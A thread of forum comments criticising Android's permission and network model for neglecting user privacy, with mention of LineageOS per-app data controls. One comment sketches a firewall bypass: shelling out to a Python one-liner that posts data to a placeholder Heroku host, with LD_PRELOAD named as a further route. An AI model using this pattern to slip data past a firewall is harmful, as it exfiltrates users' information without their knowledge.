Nitpick: you cannot have security-but-not-privacy.
If a system does not protect the confidentiality of your data from the eyes of the manufacturer it is breaching security.
Security is much more than being protected from attacks. A torch application that reads your contact list and location fits squarely into the definition of trojan/spyware/malware.
The only person who seems to benefit from the way the security model works on Android is App Developers/carriers/manufacturers/Google. The user abstraction on an Android device doesn't even line up with a human user of the device, but rather it lines up with applications and software on the phone. I have seen nothing that more obviously tuned fpr turnimg a general computing device into a passive scripted experience regurgitator than Android.
You do not get the ability to organize arbitrary data. You need an app. You don't have a consistent experience of a filesystem, shared across all programs. Instead, you have a myriad of apps that do everything they can to hide the implementation details from you.
This does not "help" computer literacy to be most people's first encounter with a computer.
Edit: Say you're playing around in Python repl. You enable it in your firewall. Now I just have to shell out to "python -c 'import requests; requests.post('my-innocent-app.herokuapp.com', ...)'". With a little more work I could do something like LD_PRELOAD.
Hope more vendors follow. Google changing permission model to allow any app internet access was the stupidest decision made by a company in this millennium
Seriously, you throw around things like "sociopaths" for a pretty standard and expected user behaviour in all OSes out there?
Is it really that bad to not wanting a random torch app to not use all your monthly data on God knows what?
I don't understand how you can generalize this far. Using a full desktop OS on mobile with all desktop apps is undoubtedly better.
Latest LineageOS can do that in the same place you can restrict background data, it has options for restricting mobile, WiFi and VPN data per app.
The main one for me is the complete lack of control of network traffic. Other than a VPN loopback app, which is pretty janky, there is no way to disable network traffic per app. Even with a VPN loopback, there is no way to only allow network traffic when then app is in the foreground. There is no way to set network traffic to block by default and ask the user for permission when network access is needed. These restrictions are ABSOLUTELY DEADLY for user privacy and I don't understand why everyone isn't screaming at the top of their lungs from rooftops about these problems.
It's quite obvious with a 2 seconds of thought that these deficiencies were intentional to maintain Google's advertising monopoly, but I don't want a crippled OS to support Google's abhorrent business model.
It's absolutely mind boggling. It almost makes me want to join the LineageOS project to close these loopholes.